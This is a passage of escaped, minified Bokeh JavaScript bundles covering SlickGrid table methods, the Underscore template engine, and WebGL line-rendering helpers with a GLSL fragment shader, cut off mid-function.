Slick.Event,registerPlugin:registerPlugin,unregisterPlugin:unregisterPlugin,getColumns:getColumns,setColumns:setColumns,getColumnIndex:getColumnIndex,updateColumnHeader:updateColumnHeader,setSortColumn:setSortColumn,setSortColumns:setSortColumns,getSortColumns:getSortColumns,autosizeColumns:autosizeColumns,getOptions:getOptions,setOptions:setOptions,getData:getData,getDataLength:getDataLength,getDataItem:getDataItem,setData:setData,getSelectionModel:getSelectionModel,setSelectionModel:setSelectionModel,getSelectedRows:getSelectedRows,setSelectedRows:setSelectedRows,getContainerNode:getContainerNode,updatePagingStatusFromView:updatePagingStatusFromView,render:render,invalidate:invalidate,invalidateRow:invalidateRow,invalidateRows:invalidateRows,invalidateAllRows:invalidateAllRows,updateCell:updateCell,updateRow:updateRow,getViewport:getVisibleRange,getRenderedRange:getRenderedRange,resizeCanvas:resizeCanvas,updateRowCount:updateRowCount,scrollRowIntoView:scrollRowIntoView,scrollRowToTop:scrollRowToTop,scrollCellIntoView:scrollCellIntoView,scrollColumnIntoView:scrollColumnIntoView,getCanvasNode:getCanvasNode,getUID:getUID,getHeaderColumnWidthDiff:getHeaderColumnWidthDiff,getScrollbarDimensions:getScrollbarDimensions,getHeadersWidth:getHeadersWidth,getCanvasWidth:getCanvasWidth,focus:setFocus,getCellFromPoint:getCellFromPoint,getCellFromEvent:getCellFromEvent,getActiveCell:getActiveCell,setActiveCell:setActiveCell,getActiveCellNode:getActiveCellNode,getActiveCellPosition:getActiveCellPosition,resetActiveCell:resetActiveCell,editActiveCell:makeActiveCellEditable,getCellEditor:getCellEditor,getCellNode:getCellNode,getCellNodeBox:getCellNodeBox,canCellBeSelected:canCellBeSelected,canCellBeActive:canCellBeActive,navigatePrev:navigatePrev,navigateNext:navigateNext,navigateUp:navigateUp,navigateDown:navigateDown,navigateLeft:navigateLeft,navigateRight:navigateRight,navigatePageUp:navigatePageUp,navigatePageDown:navigatePageDown,gotoCell:gotoCell,getTopPanel:getTopPanel,setTopPanelVisibility:setTopPanelVisibility,getPreHeaderPanel:getPreHeaderPanel,setPreHeaderPanelVisibility:setPreHeaderPanelVisibility,setHeaderRowVisibility:setHeaderRowVisibility,getHeaderRow:getHeaderRow,getHeaderRowColumn:getHeaderRowColumn,setFooterRowVisibility:setFooterRowVisibility,getFooterRow:getFooterRow,getFooterRowColumn:getFooterRowColumn,getGridPosition:getGridPosition,flashCell:flashCell,addCellCssStyles:addCellCssStyles,setCellCssStyles:setCellCssStyles,removeCellCssStyles:removeCellCssStyles,getCellCssStyles:getCellCssStyles,init:finishInitialization,destroy:destroy,getEditorLock:getEditorLock,getEditController:getEditController}),init()}module.exports={Grid:SlickGrid}},448:function(e,t,n){t.exports=\\\"undefined\\\"!=typeof $?$:e(441)},449:function(e,t,n){var o=e(450),r=o.template;function i(e,t,n){return r(e,t,n)}i._=o,t.exports=i,\\\"function\\\"==typeof define&&define.amd?define(function(){return i}):\\\"undefined\\\"==typeof window&&\\\"undefined\\\"==typeof navigator||(window.UnderscoreTemplate=i)},450:function(e,t,n){\\n      //     (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\\n      //     Underscore may be freely distributed under the MIT license.\\n      var l={},o=Array.prototype,r=Object.prototype,i=o.slice,s=r.toString,a=r.hasOwnProperty,c=o.forEach,u=Object.keys,d=Array.isArray,p=function(){},f=p.each=p.forEach=function(e,t,n){if(null!=e)if(c&&e.forEach===c)e.forEach(t,n);else if(e.length===+e.length){for(var o=0,r=e.length;o<r;o++)if(t.call(n,e[o],o,e)===l)return}else for(var i=p.keys(e),o=0,r=i.length;o<r;o++)if(t.call(n,e[i[o]],i[o],e)===l)return};p.keys=u||function(e){if(e!==Object(e))throw new TypeError(\\\"Invalid object\\\");var t=[];for(var n in e)p.has(e,n)&&t.push(n);return t},p.defaults=function(n){return f(i.call(arguments,1),function(e){if(e)for(var t in e)void 0===n[t]&&(n[t]=e[t])}),n},p.isArray=d||function(e){return\\\"[object Array]\\\"===s.call(e)},p.has=function(e,t){if(!p.isArray(t))return null!=e&&a.call(e,t);for(var n=t.length,o=0;o<n;o++){var r=t[o];if(null==e||!a.call(e,r))return!1;e=e[r]}return!!n};var h={escape:{\\\"&\\\":\\\"&amp;\\\",\\\"<\\\":\\\"&lt;\\\",\\\">\\\":\\\"&gt;\\\",'\\\"':\\\"&quot;\\\",\\\"'\\\":\\\"&#x27;\\\"}},g={escape:new RegExp(\\\"[\\\"+p.keys(h.escape).join(\\\"\\\")+\\\"]\\\",\\\"g\\\")};p.each([\\\"escape\\\"],function(t){p[t]=function(e){return null==e?\\\"\\\":(\\\"\\\"+e).replace(g[t],function(e){return h[t][e]})}}),p.templateSettings={evaluate:/<%([\\\\s\\\\S]+?)%>/g,interpolate:/<%=([\\\\s\\\\S]+?)%>/g,escape:/<%-([\\\\s\\\\S]+?)%>/g};var m=/(.)^/,v={\\\"'\\\":\\\"'\\\",\\\"\\\\\\\\\\\":\\\"\\\\\\\\\\\",\\\"\\\\r\\\":\\\"r\\\",\\\"\\\\n\\\":\\\"n\\\",\\\"\\\\t\\\":\\\"t\\\",\\\"\\\\u2028\\\":\\\"u2028\\\",\\\"\\\\u2029\\\":\\\"u2029\\\"},w=/\\\\\\\\|'|\\\\r|\\\\n|\\\\t|\\\\u2028|\\\\u2029/g;p.template=function(i,e,t){var n;t=p.defaults({},t,p.templateSettings);var o=new RegExp([(t.escape||m).source,(t.interpolate||m).source,(t.evaluate||m).source].join(\\\"|\\\")+\\\"|$\\\",\\\"g\\\"),l=0,s=\\\"__p+='\\\";i.replace(o,function(e,t,n,o,r){return s+=i.slice(l,r).replace(w,function(e){return\\\"\\\\\\\\\\\"+v[e]}),t&&(s+=\\\"'+\\\\n((__t=(\\\"+t+\\\"))==null?'':_.escape(__t))+\\\\n'\\\"),n&&(s+=\\\"'+\\\\n((__t=(\\\"+n+\\\"))==null?'':__t)+\\\\n'\\\"),o&&(s+=\\\"';\\\\n\\\"+o+\\\"\\\\n__p+='\\\"),l=r+e.length,e}),s+=\\\"';\\\\n\\\",t.variable||(s=\\\"with(obj||{}){\\\\n\\\"+s+\\\"}\\\\n\\\"),s=\\\"var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\\\\n\\\"+s+\\\"return __p;\\\\n\\\";try{n=new Function(t.variable||\\\"obj\\\",\\\"_\\\",s)}catch(e){throw e.source=s,e}if(e)return n(e,p);var r=function(e){return n.call(this,e,p)};return r.source=\\\"function(\\\"+(t.variable||\\\"obj\\\")+\\\"){\\\\n\\\"+s+\\\"}\\\",r},t.exports=p}},0,0)}(a.Bokeh)}(this);\\n      //# sourceMappingURL=bokeh-tables.min.js.map\\n      /* END bokeh-tables.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-gl.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var a;a=t.Bokeh,function(t,e,n){if(null!=a)return a.register_plugin(t,{\\\"models/glyphs/webgl/base\\\":451,\\\"models/glyphs/webgl/index\\\":452,\\\"models/glyphs/webgl/line.frag\\\":453,\\\"models/glyphs/webgl/line\\\":454,\\\"models/glyphs/webgl/line.vert\\\":455,\\\"models/glyphs/webgl/main\\\":456,\\\"models/glyphs/webgl/markers.frag\\\":457,\\\"models/glyphs/webgl/markers\\\":458,\\\"models/glyphs/webgl/markers.vert\\\":459},456);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({451:function(t,e,n){var g=t(27),y=t(14),a=function(){function t(t,e){this.gl=t,this.glyph=e,this.nvertices=0,this.size_changed=!1,this.data_changed=!1,this.visuals_changed=!1,this.init()}return t.prototype.set_data_changed=function(t){t!=this.nvertices&&(this.nvertices=t,this.size_changed=!0),this.data_changed=!0},t.prototype.set_visuals_changed=function(){this.visuals_changed=!0},t.prototype.render=function(t,e,n){var a,s=[0,1,2],i=s[0],r=s[1],o=s[2],l=1,_=1,h=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=h[0],f=h[1];if(isNaN(c[0]+c[1]+c[2]+f[0]+f[1]+f[2]))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;if(l=100/Math.min(Math.max(Math.abs(c[1]-c[0]),1e-12),1e12),_=100/Math.min(Math.max(Math.abs(f[1]-f[0]),1e-12),1e12),a=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=a[0],f=a[1],1e-6<Math.abs(c[1]-c[0]-(c[2]-c[1]))||1e-6<Math.abs(f[1]-f[0]-(f[2]-f[1])))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;var d=[(c[1]-c[0])/l,(f[1]-f[0])/_],u=d[0],g=d[1],p=this.glyph.renderer.plot_view.gl.canvas,v=p.width,m=p.height,x={pixel_ratio:this.glyph.renderer.plot_view.canvas.pixel_ratio,width:v,height:m,dx:c[0]/u,dy:f[0]/g,sx:u,sy:g};return this.draw(e,n,x),!0},t}();function p(t,e){for(var n=new Float32Array(t),a=0,s=t;a<s;a++)n[a]=e;return n}function v(t,e){return void 0!==t[e].spec.value}n.BaseGLGlyph=a,n.line_width=function(t){return t<2&&(t=Math.sqrt(2*t)),t},n.fill_array_with_float=p,n.fill_array_with_vec=function(t,e,n){for(var a=new Float32Array(t*e),s=0;s<t;s++)for(var i=0;i<e;i++)a[s*e+i]=n[i];return a},n.visual_prop_is_singular=v,n.attach_float=function(t,e,n,a,s,i){if(s.doit)if(v(s,i))e.used=!1,t.set_attribute(n,\\\"float\\\",s[i].value());else{e.used=!0;var r=new Float32Array(s.cache[i+\\\"_array\\\"]);e.set_size(4*a),e.set_data(0,r),t.set_attribute(n,\\\"float\\\",e)}else e.used=!1,t.set_attribute(n,\\\"float\\\",[0])},n.attach_color=function(t,e,n,a,s,i){var r,o=i+\\\"_color\\\",l=i+\\\"_alpha\\\";if(s.doit)if(v(s,o)&&v(s,l))e.used=!1,r=g.color2rgba(s[o].value(),s[l].value()),t.set_attribute(n,\\\"vec4\\\",r);else{var _=void 0,h=void 0;e.used=!0,h=v(s,o)?function(){for(var t=[],e=0,n=a;e<n;e++)t.push(s[o].value());return t}():s.cache[o+\\\"_array\\\"],_=v(s,l)?p(a,s[l].value()):s.cache[l+\\\"_array\\\"];for(var c=new Float32Array(4*a),f=0,d=a;f<d;f++){r=g.color2rgba(h[f],_[f]);for(var u=0;u<4;u++)c[4*f+u]=r[u]}e.set_size(4*a*4),e.set_data(0,c),t.set_attribute(n,\\\"vec4\\\",e)}else e.used=!1,t.set_attribute(n,\\\"vec4\\\",[0,0,0,0])}},452:function(t,e,n){var a=t(391);a.__exportStar(t(454),n),a.__exportStar(t(458),n)},453:function(t,e,n){n.fragment_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform sampler2D u_dash_atlas;\\\\n\\\\nuniform vec2 u_linecaps;\\\\nuniform float u_miter_limit;\\\\nuniform float u_linejoin;\\\\nuniform float u_antialias;\\\\nuniform float u_dash_phase;\\\\nuniform float u_dash_period;\\\\nuniform float u_dash_index;\\\\nuniform vec2 u_dash_caps;\\\\nuniform float u_closed;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\n// Compute distance to cap ----------------------------------------------------\\\\nfloat cap( int type, float dx, float dy, float t, float linewidth )\\\\n{\\\\n    float d = 0.0;\\\\n    dx = abs(dx);\\\\n    dy = abs(dy);\\\\n    if      (type == 0)  discard;  // None\\\\n    else if (type == 1)  d = sqrt(dx*dx+dy*dy);  // Round\\\\n    else if (type == 3)  d = (dx+abs(dy));  // Triangle in\\\\n    else if (type == 2)  d = max(abs(dy),(t+dx-abs(dy)));  // Triangle out\\\\n    else if (type == 4)  d = max(dx,dy);  // Square\\\\n    else if (type == 5)  d = max(dx+t,dy);  // Butt\\\\n    return d;\\\\n}\\\\n\\\\n// Compute distance to join -------------------------------------------------\\\\nfloat join( in int type, in float d, in vec2 segment, in vec2 texcoord, in vec2 miter,\\\\n           in float linewidth )\\\\n{\\\\n    // texcoord.x is distance from start\\\\n    // texcoord.y is distance from centerline\\\\n    // segment.x and y indicate the limits (as for texcoord.x) for this segment\\\\n\\\\n    float dx = texcoord.x;\\\\n\\\\n    // Round join\\\\n    if( type == 1 ) {\\\\n        if (dx < segment.x) {\\\\n            d = max(d,length( texcoord - vec2(segment.x,0.0)));\\\\n            //d = length( texcoord - vec2(segment.x,0.0));\\\\n        } else if (dx > segment.y) {\\\\n            d = max(d,length( texcoord - vec2(segment.y,0.0)));\\\\n            //d = length( texcoord - vec2(segment.y,0.0));\\\\n        }\\\\n    }\\\\n    // Bevel join\\\\n    else if ( type == 2 ) {\\\\n        if (dx < segment.x) {\\\\n            vec2 x = texcoord - vec2(segment.x,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n\\\\n        } else if (dx > segment.y) {\\\\n            vec2 x = texcoord - vec2(segment.y,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n        }\\\\n        /*  Original code for bevel which does not work for us\\\\n        if( (dx < segment.x) ||  (dx > segment.y) )\\\\n            d = max(d, min(abs(x.x),abs(x.y)));\\\\n        */\\\\n    }\\\\n\\\\n    return d;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    // If color is fully transparent we just discard the fragment\\\\n    if( v_color.a <= 0.0 ) {\\\\n        discard;\\\\n    }\\\\n\\\\n    // Test if dash pattern is the solid one (0)\\\\n    bool solid =  (u_dash_index == 0.0);\\\\n\\\\n    // Test if path is closed\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    vec4 color = v_color;\\\\n    float dx = v_texcoord.x;\\\\n    float dy = v_texcoord.y;\\\\n    float t = v_linewidth/2.0-u_antialias;\\\\n    float width = 1.0;  //v_linewidth; original code had dashes scale with line width, we do not\\\\n    float d = 0.0;\\\\n\\\\n    vec2 linecaps = u_linecaps;\\\\n    vec2 dash_caps = u_dash_caps;\\\\n    float line_start = 0.0;\\\\n    float line_stop = v_length;\\\\n\\\\n    // Apply miter limit; fragments too far into the miter are simply discarded\\\\n    if( (dx < v_segment.x) || (dx > v_segment.y) ) {\\\\n        float into_miter = max(v_segment.x - dx, dx - v_segment.y);\\\\n        if (into_miter > u_miter_limit*v_linewidth/2.0)\\\\n          discard;\\\\n    }\\\\n\\\\n    // Solid line --------------------------------------------------------------\\\\n    if( solid ) {\\\\n        d = abs(dy);\\\\n        if( (!closed) && (dx < line_start) ) {\\\\n            d = cap( int(u_linecaps.x), abs(dx), abs(dy), t, v_linewidth );\\\\n        }\\\\n        else if( (!closed) &&  (dx > line_stop) ) {\\\\n            d = cap( int(u_linecaps.y), abs(dx)-line_stop, abs(dy), t, v_linewidth );\\\\n        }\\\\n        else {\\\\n            d = join( int(u_linejoin), abs(dy), v_segment, v_texcoord, v_miter, v_linewidth );\\\\n        }\\\\n\\\\n    // Dash line --------------------------------------------------------------\\\\n    } else {\\\\n        float segment_start = v_segment.x;\\\\n        float segment_stop  = v_segment.y;\\\\n        float segment_center= (segment_start+segment_stop)/2.0;\\\\n        float freq          = u_dash_period*width;\\\\n        float u = mod( dx + u_dash_phase*width, freq);\\\\n        vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n        float dash_center= tex.x * width;\\\\n        float dash_type  = tex.y;\\\\n        float _start = tex.z * width;\\\\n        float _stop  = tex.a * width;\\\\n        float dash_start = dx - u + _start;\\\\n        float dash_stop  = dx - u + _stop;\\\\n\\\\n        // Compute extents of the first dash (the one relative to v_segment.x)\\\\n        // Note: this could be computed in the vertex shader\\\\n        if( (dash_stop < segment_start) && (dash_caps.x != 5.0) ) {\\\\n            float u = mod(segment_start + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_start - u + _start;\\\\n            dash_stop = segment_start - u + _stop;\\\\n        }\\\\n\\\\n        // Compute extents of the last dash (the one relatives to v_segment.y)\\\\n        // Note: This could be computed in the vertex shader\\\\n        else if( (dash_start > segment_stop)  && (dash_caps.y != 5.0) ) {\\\\n            float u = mod(segment_stop + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_stop - u + _start;\\\\n            dash_stop  = segment_stop - u + _stop;\\\\n        }\\\\n\\\\n        // This test if the we are dealing with a discontinuous angle\\\\n        bool discontinuous = ((dx <  segment_center) && abs(v_angles.x) > THETA) ||\\\\n                             ((dx >= segment_center) && abs(v_angles.y) > THETA);\\\\n        //if( dx < line_start) discontinuous = false;\\\\n        //if( dx > line_stop)  discontinuous = false;\\\\n\\\\n        float d_join = join( int(u_linejoin), abs(dy),\\\\n                            v_segment, v_texcoord, v_miter, v_linewidth );\\\\n\\\\n        // When path is closed, we do not have room for linecaps, so we make room\\\\n        // by shortening the total length\\\\n        if (closed) {\\\\n             line_start += v_linewidth/2.0;\\\\n             line_stop  -= v_linewidth/2.0;\\\\n        }\\\\n\\\\n        // We also need to take antialias area into account\\\\n        //line_start += u_antialias;\\\\n        //line_stop  -= u_antialias;\\\\n\\\\n        // Check is dash stop is before line start\\\\n        if( dash_stop <= line_start ) {\\\\n            discard;\\\\n        }\\\\n        // Check is dash start is beyond line stop\\\\n        if( dash_start >= line_stop ) {\\\\n            discard;\\\\n        }\\\\n\\\\n        // Check if current dash start is beyond segment stop\\\\n        if( discontinuous ) {\\\\n            // Dash start is beyond segment, we discard\\\\n            if( (dash_start > segment_stop) ) {\\\\n                discard;\\\\n                //gl_FragColor = vec4(1.0,0.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Dash stop is before segment, we discard\\\\n            if( (dash_stop < segment_start) ) {\\\\n                discard;  //gl_FragColor = vec4(0.0,1.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Special case for round caps (nicer with this)\\\\n            if( dash_caps.x == 1.0 ) {\\\\n                if( (u > _stop) && (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for round caps  (nicer with this)\\\\n            if( dash_caps.y == 1.0 ) {\\\\n                if( (u < _start) && (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.x != 1.0) && (dash_caps.x != 5.0) ) {\\\\n                if( (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0) ) {\\\\n                    float a = v_angles.x/2.0;\\\\n                    float x = (segment_start-dx)*cos(a) - dy*sin(a);\\\\n                    float y = (segment_start-dx)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the cap into square to avoid holes\\\\n                    dash_caps.x = 4.0;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.y != 1.0) && (dash_caps.y != 5.0) ) {\\\\n                if( (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0) ) {\\\\n                    float a = v_angles.y/2.0;\\\\n                    float x = (dx-segment_stop)*cos(a) - dy*sin(a);\\\\n                    float y = (dx-segment_stop)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the caps into square to avoid holes\\\\n                    dash_caps.y = 4.0;\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n        // Line cap at start\\\\n        if( (dx < line_start) && (dash_start < line_start) && (dash_stop > line_start) ) {\\\\n            d = cap( int(linecaps.x), dx-line_start, dy, t, v_linewidth);\\\\n        }\\\\n        // Line cap at stop\\\\n        else if( (dx > line_stop) && (dash_stop > line_stop) && (dash_start < line_stop) ) {\\\\n            d = cap( int(linecaps.y), dx-line_stop, dy, t, v_linewidth);\\\\n        }\\\\n        // Dash cap left - dash_type = -1, 0 or 1, but there may be roundoff errors\\\\n        else if( dash_type < -0.5 ) {\\\\n            d = cap( int(dash_caps.y), abs(u-dash_center), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash cap right\\\\n        else if( dash_type > 0.5 ) {\\\\n            d = cap( int(dash_caps.x), abs(dash_center-u), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash body (plain)\\\\n        else {// if( dash_type > -0.5 &&  dash_type < 0.5) {\\\\n            d = abs(dy);\\\\n        }\\\\n\\\\n        // Line join\\\\n        if( (dx > line_start) && (dx < line_stop)) {\\\\n            if( (dx <= segment_start) && (dash_start <= segment_start)\\\\n                && (dash_stop >= segment_start) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.x;\\\\n                float f = abs( (segment_start - dx)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( (dx > segment_stop) && (dash_start <= segment_stop)\\\\n                     && (dash_stop >= segment_stop) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.y;\\\\n                float f = abs((dx - segment_stop)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( dx < (segment_start - v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n            else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n        }\\\\n        else if( dx < (segment_start - v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n        else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n    }\\\\n\\\\n    // Distance to border ------------------------------------------------------\\\\n    d = d - t;\\\\n    if( d < 0.0 ) {\\\\n        gl_FragColor = color;\\\\n    } else {\\\\n        d /= u_antialias;\\\\n        gl_FragColor = vec4(color.rgb, exp(-d*d)*color.a);\\\\n    }\\\\n}\\\\n\\\"},454:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(455),o=t(453),l=t(27),_=function(){function t(t){this._atlas={},this._index=0,this._width=256,this._height=256,this.tex=new s.Texture2D(t),this.tex.set_wrapping(t.REPEAT,t.REPEAT),this.tex.set_interpolation(t.NEAREST,t.NEAREST),this.tex.set_size([this._height,this._width],t.RGBA),this.tex.set_data([0,0],[this._height,this._width],new Uint8Array(this._height*this._width*4)),this.get_atlas_data([1])}return t.prototype.get_atlas_data=function(t){var e=t.join(\\\"-\\\"),n=this._atlas[e];if(void 0===n){var a=this.make_pattern(t),s=a[0],i=a[1];this.tex.set_data([this._index,0],[1,this._width],new Uint8Array(s.map(function(t){return t+10}))),this._atlas[e]=[this._index/this._height,i],this._index+=1}return this._atlas[e]},t.prototype.make_pattern=function(t){1<t.length&&t.length%2&&(t=t.concat(t));for(var e=0,n=0,a=t;n<a.length;n++){var s=a[n];e+=s}for(var i=[],r=0,o=0,l=t.length+2;o<l;o+=2){var _=Math.max(1e-4,t[o%t.length]),h=Math.max(1e-4,t[(o+1)%t.length]);i.push(r,r+_),r+=_+h}for(var c=this._width,f=new Float32Array(4*c),o=0,l=c;o<l;o++){for(var d=void 0,u=void 0,g=void 0,p=e*o/(c-1),v=0,m=1e16,x=0,y=i.length;x<y;x++){var b=Math.abs(i[x]-p);b<m&&(v=x,m=b)}v%2==0?(g=p<=i[v]?1:0,u=i[v],d=i[v+1]):(g=p>i[v]?-1:0,u=i[v-1],d=i[v]),f[4*o+0]=i[v],f[4*o+1]=g,f[4*o+2]=u,f[4*o+3]=d}return[f,e]},t}(),h={miter:0,round:1,bevel:2},c={\\\"\\\":0,none:0,\\\".\\\":0,round:1,\\\")\\\":1,\\\"(\\\":1,o:1,\\\"triangle in\\\":2,\\\"<\\\":2,\\\"triangle out\\\":3,\\\">\\\":3,square:4,\\\"[\\\":4,\\\"]\\\":4,\\\"=\\\":4,butt:5,\\\"|\\\":5},f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl;this._scale_aspect=0;var e=r.vertex_shader,n=o.fragment_shader;this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.index_buffer=new s.IndexBuffer(t),this.vbo_position=new s.VertexBuffer(t),this.vbo_tangents=new s.VertexBuffer(t),this.vbo_segment=new s.VertexBuffer(t),this.vbo_angles=new s.VertexBuffer(t),this.vbo_texcoord=new s.VertexBuffer(t),this.dash_atlas=new _(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(),a.data_changed=!1}this.visuals_changed&&(this._set_visuals(),this.visuals_changed=!1);var s=n.sx,i=n.sy,r=Math.sqrt(s*s+i*i);s/=r,i/=r,Math.abs(this._scale_aspect-i/s)>Math.abs(.001*this._scale_aspect)&&(a._update_scale(s,i),this._scale_aspect=i/s),this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord),this.prog.set_uniform(\\\"u_length\\\",\\\"float\\\",[a.cumsum]),this.prog.set_texture(\\\"u_dash_atlas\\\",this.dash_atlas.tex);var o=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-o[0],n.dy-o[1]]),this.prog.set_uniform(\\\"u_scale_aspect\\\",\\\"vec2\\\",[s,i]),this.prog.set_uniform(\\\"u_scale_length\\\",\\\"float\\\",[r]),this.I_triangles=a.I_triangles,this.I_triangles.length<65535)this.index_buffer.set_size(2*this.I_triangles.length),this.index_buffer.set_data(0,new Uint16Array(this.I_triangles)),this.prog.draw(this.gl.TRIANGLES,this.index_buffer);else{t=Array.from(this.I_triangles);for(var l=this.I_triangles.length,_=64008,h=[],c=0,f=Math.ceil(l/_);c<f;c++)h.push([]);for(var c=0,f=t.length;c<f;c++){var d=t[c]%_,u=Math.floor(t[c]/_);h[u].push(d)}for(var u=0,f=h.length;u<f;u++){var g=new 